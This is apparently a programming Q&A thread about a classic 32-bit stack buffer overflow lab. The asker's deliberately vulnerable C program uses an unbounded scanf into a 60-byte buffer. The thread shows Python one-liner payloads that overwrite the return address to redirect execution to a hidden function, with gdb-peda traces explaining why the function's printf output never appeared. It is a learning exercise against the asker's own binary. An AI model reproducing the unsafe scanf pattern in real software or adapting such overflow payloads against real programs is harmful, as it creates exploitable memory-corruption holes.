0
#include<stdio.h> void secret(){ printf("entered secret function"); } void return_input() { char array[60]; scanf("%s", array); printf("%s\n",array); } int main() { return_input(); return 0; } 

used this command

gcc overflowtest.c -o overflowtest -fno-stack-protector -m32

When I did a objdump, I found that the secret function is located at 0x0804848b and 68 bytes is allocated to array, next 4 bytes stores ebp of previous stack frame, and the next following 4 bytes the return address

I tried to replace the return address this way

python -c 'print "a"*72 + "\x8b\x84\x04\x08"' | ./overflowtest

But it says aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�� Segmentation fault (core dumped)

enter image description hereenter image description here

11
  • 2
    Use gdb to debug your program and see if everything is where you think it is.
    – YoMismo
    CommentedAug 27, 2018 at 13:15
  • 1) please consistently indent/format your code, indent after every opening brace '{', unindent before every closing brace '}', Suggest each indent level be 4 spaces, 2) separate code blocks: forifelsewhiledo...whileswitchcasedefault via a single blank line 3) separate functions by 2 or 3 blank lines (be consistent)CommentedAug 28, 2018 at 6:27
  • there are only two valid signatures for main() they are: int main( void ) and int main( int argc, char *argv[[] ) Notice they all have a return type of int, not voidCommentedAug 28, 2018 at 6:30
  • 1) when calling scanf() with either the '%s' and/or the %[...] input format specifiers, always include a MAX CHARACTERS modifier that is 1 less than the length of the input buffer. This is because both of those specifiers always append a NUL byte to the input. This also avoids any possibility of a buffer overflow. 2) always check the returned value (not the parameter values) to assure the operation was successfulCommentedAug 28, 2018 at 6:34
  • 1
    Stack is differently aligned in gdb and outside of itCommentedAug 28, 2018 at 9:10

1 Answer 1

2

This was a fun question to explore.

I tried the exploit and I got the same output. I just got a SegFault but was expecting "entered secret function" and a SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt $ ./overflowtest < exploit.txt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb�� Segmentation fault (core dumped) 

I opened up the program using gdb and tried to understand what is happening. I set a breakpoint at return_input.

$ gdb -q overflowtest Reading symbols from overflowtest...(no debugging symbols found)...done. gdb-peda$ b return_input Breakpoint 1 at 0x80484aa gdb-peda$ run < exploit.txt 

Look at the following state:

[-------------------------------------code-------------------------------------] 0x80484ca <return_input+38>: add esp,0x10 0x80484cd <return_input+41>: nop 0x80484ce <return_input+42>: leave => 0x80484cf <return_input+43>: ret 0x80484d0 <main>: lea ecx,[esp+0x4] 0x80484d4 <main+4>: and esp,0xfffffff0 0x80484d7 <main+7>: push DWORD PTR [ecx-0x4] 0x80484da <main+10>: push ebp [------------------------------------stack-------------------------------------] 0000| 0xffffcc7c --> 0x804848b (<secret>: push ebp) 0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/") 0008| 0xffffcc84 --> 0xffffcca0 --> 0x1 0012| 0xffffcc88 --> 0x0 0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>: add esp,0x10) 0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0 0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0 0028| 0xffffcc98 --> 0x0 [------------------------------------------------------------------------------] 

Notice that the next instruction to be executed is the ret instruction. The top of the stack has the address of secret. This is exactly what we wanted. So, no problems till here.

The following is the gdb-peda state just before the printf inside secret function is executed.

[-------------------------------------code-------------------------------------] 0x804848e <secret+3>: sub esp,0x8 0x8048491 <secret+6>: sub esp,0xc 0x8048494 <secret+9>: push 0x8048580 => 0x8048499 <secret+14>: call 0x8048340 <printf@plt> 0x804849e <secret+19>: add esp,0x10 0x80484a1 <secret+22>: nop 0x80484a2 <secret+23>: leave 0x80484a3 <secret+24>: ret Guessed arguments: arg[0]: 0x8048580 ("entered secret function") arg[1]: 0x61616161 ('aaaa') [------------------------------------stack-------------------------------------] 0000| 0xffffcc64 --> 0x8048580 ("entered secret function") 0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb") 0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb") 0012| 0xffffcc70 ("aaaaaaaabbbbbbbb") 

Now, printf will get executed. The top of stack has the Address of the string it has to print. All good till now.

I executed printf and checked for "entered secret function" output.

gdb-peda$ ni 

Here is the problem. Even if printf got executed, the string didn't get printed on the console.

So, we can conclude that the exploitation was done properly.

Let us understand why printf didn't print that string to console output.

printf and many such output functions work in the following manner.

  1. When printf is executed, the contents inside it is not directly printed out on the console. Instead, it is buffered in a buffer.

    printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output) 
  2. Later, the buffer is flushed and everything is printed out on the console.

  3. As explained in this answer, the buffer gets flushed only when certain conditions are reached.

    • The buffer is flushed if it is full.
    • It is flushed if newline is encountered.
    • It is flushed if the program comes to an end.
    • It is flushed if we force flush it using the fflush function.

Coming back to the question at hand,

  1. The printf("entered secret function") is executed and the string is put into the OUTPUT_BUFFER.

  2. If the overflowtest terminated normally, the OUTPUT_BUFFER would have got flushed. But because of the exploit, it got terminated because of a SegFault. So, the buffer was not flushed. So, you didn't see "entered secret function" .

The puts function doesn't work like this. It appends a \n / newline character to the string. So, that string is immediately seen on the console.

So, if you want to see "entered secret function", then add a newline character to it - "entered secret function\n" or add a fflush(stdout) after printf.

I hope I has answered your question.

If anything is not clear, please leave a comment below.

    You must log in to answer this question.

    Start asking to get answers

    Find the answer to your question by asking.

    Ask question

    Explore related questions

    See similar questions with these tags.